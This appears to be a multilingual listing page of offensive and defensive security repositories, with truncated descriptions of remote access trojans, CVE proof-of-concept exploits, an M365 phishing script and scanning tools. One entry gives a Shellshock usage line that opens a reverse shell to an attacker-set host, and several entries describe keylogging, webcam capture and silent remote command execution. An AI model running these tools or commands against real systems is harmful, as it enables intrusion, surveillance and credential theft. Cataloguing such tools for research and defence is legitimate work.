PIRATE

PIRATE Herramienta de Acceso Remoto Python Uso 1- ejecutar payloader.py para generar el script del cliente 2- ejecutar pirate.py para administrar el servidor y recibir la conexión Características Abrir shell remota Tomar captura de pantalla Tomar foto con la cámara web Ejecutar keylogger...

CVE-2024-47533-Cobbler-XMLRPC-Authentication-Bypass-RCE-Exploit-POC

CVE-2024-47533 - Explotación de RCE por omisión de autenticación en el XMLRPC de Cobbler ⚠️ Ejecución remota de código crítica mediante omisión de autenticación en Cobbler 🛠️ Implementación del PoC por @dollarboysushil 💡 Descripción general Cobbler, un servidor de instalación de Linux que permite...

MultiPotato

MultiPotato 首先，感谢 @splintercode 和 @decoderit 开发了 RoguePotato，因为此代码大量基于它。 这只是另一个利用 SeImpersonate 权限获取 SYSTEM 权限的 Potao。但与其它 Potao 不同的是： 它不包含任何用于武器化的 SYSTEM 身份验证触发机制。相反，该代码可以让你自行集成你喜欢的触发方式。 它不仅仅使用 CreateProcessWithTokenW 来生成新进程。你可以选择 CreateProcessWithTokenW、CreateProcessAsUserW、CreateUser 和...

CVE-2021-43008-AdminerRead

CVE-2021-43008 - AdminerRead Herramienta de explotación para la vulnerabilidad de lectura arbitraria de archivos en Adminer 1.0 hasta 4.6.2 Instalación git clone https://github.com/p0dalirius/AdminerRead cd AdminerRead sudo python3 setup.py install Uso Versiones vulnerables Vulnerabilidad de...

core

Secluso Seguridad privada para el hogar tipo «hazlo tú mismo» para Raspberry Pi, con acceso remoto cifrado y una configuración de software de 5 minutos. Descargar Secluso Deploy • Guía para construirlo tú mismo • Modelo de seguridad • Sitio web Secluso es un sistema privado de cámaras de segurida...

MFASweep

MFASweep MFASweep 是一个 PowerShell 脚本，它使用提供的凭据尝试登录多种 Microsoft 服务，并尝试检测是否启用了 MFA。根据条件访问策略和其他多重身份验证设置的不同配置方式，某些协议可能会保留为单因素身份验证。该脚本还包含对 ADFS 配置的额外检查，如果检测到本地 ADFS 服务器，则可以尝试登录。 目前 MFASweep 能够登录到以下服务： Microsoft Graph API Azure Resource Manager API Microsoft 365 Exchange Web Services Microsoft 365 Web...

ghost

ghost ghost es un RAT ligero que le da al servidor/atacante acceso remoto total al intérprete de línea de comandos cmd.exe del usuario. Se le permite ejecutar comandos silenciosamente sin que el cliente/zombi se dé cuenta. El servidor/atacante también tiene la capacidad de descargar y ejecutar...

GrafanaDirectoryScanner

PoC para CVE-2021-43798 Grafana es una plataforma de código abierto para monitoreo y observabilidad. Las versiones de Grafana desde 8.0.0-beta1 hasta 8.3.0 excepto las versiones parcheadas son vulnerables a ldirectory traversal, permitiendo el acceso a archivos locales. La URL vulnerable es:...

OpenAM

Open Access Management OpenAM es una solución de gestión de accesos que incluye Autenticación, SSO, Autorización, Federación, Entitlements y Seguridad de Servicios Web. Cross Domain Single Sign On CDSSO, SAML 2.0, OAuth 2.0 y OpenID Connect garantizan que OpenAM se integre fácilmente con...

CVE-2022-31269

CVE : CVE-2022-31269 Exploit Title: Nortek Linear eMerge E3-Series - Information Disclosure leads to access admin dashboard...

open-sammy

SAMMY Código Abierto v2 Este repositorio aloja la versión de código abierto de SAMMY, la herramienta OWASP SAMM. https://owasp.org/www-project-open-sammy/ Licencia Este proyecto está licenciado bajo la Licencia Creative Commons Attribution-ShareAlike 4.0 International. Consulta el archivo LICENSE...

RedRoot

🔴 RedRoot Lite – Mark X Offensive Security Framework Lite Edition | CLI-Based “Less power. Same discipline.” RedRoot Lite is the restricted edition of RedRoot , designed to provide core red teaming functionality while keeping advanced modules locked. It uses the same architecture, same CLI style,...

Microsoft365_devicePhish

Microsoft365devicePhish 滥用 Microsoft 365 OAuth 授权流程进行钓鱼攻击 这是一个简单的概念验证脚本，允许攻击者针对 Microsoft 365 OAuth 授权流程实施钓鱼攻击。利用此脚本，攻击者可连接 Microsoft 的 OAuth API 端点，生成 usercode 和 devicecode，并在成功的钓鱼攻击后获取受害用户的 accesstoken。随后，该令牌可用于通过 Microsoft Graph API 代表受害用户访问各种 Office365 产品。此外，此脚本专为解决特定场景而设计：目标组织使用邮箱...

CVE-2023-27350-POC

CVE-2023-27350-POC Descripción: Esta herramienta está diseñada para explotar una vulnerabilidad de omisión de autenticación en PaperCut MF/NG versiones 8.0 y superiores, pero anteriores a las versiones 20.1.7, 21.2.11 o 22.0.9. La vulnerabilidad permite el acceso no autorizado al sistema y...

-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock-Remote-Command-Injection CVE-2014-6271 Herramienta de Apache Shellshock de inyección remota de comandos para shell inversa rápida y navegación de archivos Shellshock Apache remote exploit Usage: ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234...

CVE-2024-38473-Nuclei-Template

CVE-2024-38473 Nuclei 模板 描述 该 Nuclei 模板旨在检测存在 CVE-2024-38473 漏洞的 Apache 服务器。它首先识别运行 Apache 以这种方式运行 Nuclei 可能会获得更高的检测率。您也可以在 hosts 文件中包含此格式的 URL，以便针对该列表运行模板。 测试环境 为了轻松测试 CVE-2024-38473 漏洞，您可以使用 Docker 搭建一个存在漏洞的环境。请按照以下步骤快速验证 Nuclei 模板的有效性： 1. 确保 Docker 守护进程正在运行 ：请确保 Docker...

CVE-2023-22515

CVE-2023-22515: Informe de análisis de vulnerabilidad de escalada de privilegios en Confluence Data Center & Server 1. Resumen Overview CVE-2023-22515 es una vulnerabilidad crítica de Control de Acceso Roto Broken Access Control encontrada en los productos Atlassian Confluence Data Center y...

exploit-grafana-CVE-2021-43798

CVE-2021-43798 – Grafana 漏洞利用工具 关于 这是一个针对 Grafana 未授权任意文件读取漏洞 CVE-2021-43798 的概念验证利用代码。 此漏洞影响 Grafana 8.0.0-beta1 至 8.3.0。 根据 Shodan 数据，目前有超过 2000 台 Grafana 服务器暴露在互联网上，其中大部分位于美国和欧洲，如下图所示。 更多信息：...

DarkFox

DarkFox Troyano de acceso remoto creado usando WinRar con un instalador ej. firefox y un Reverse Shell de Python incrustado. Edita el archivo client.py configurando la IP y el puerto del servidor atacante en escucha, y la IP y el puerto de cualquier proxy presente en la máquina atacante. Si no ha...

gcp_scanner

免责声明 本项目并非 Google 官方项目。Google 不对其提供支持，且明确声明不对其质量、可销售性或特定用途的适用性承担任何保证责任。 GCP Scanner 这是一个 GCP 资源扫描器，可以帮助确定特定凭据在 GCP 上的访问级别。该扫描器旨在帮助安全工程师评估特定 VM/容器被入侵、GCP 服务帐户或 OAuth2 令牌密钥泄露的影响。 目前，该扫描器支持以下 GCP 资源： GCE GCS GKE App Engine Cloud SQL BigQuery Spanner Pub/Sub Cloud Functions BigTable CloudStore KMS...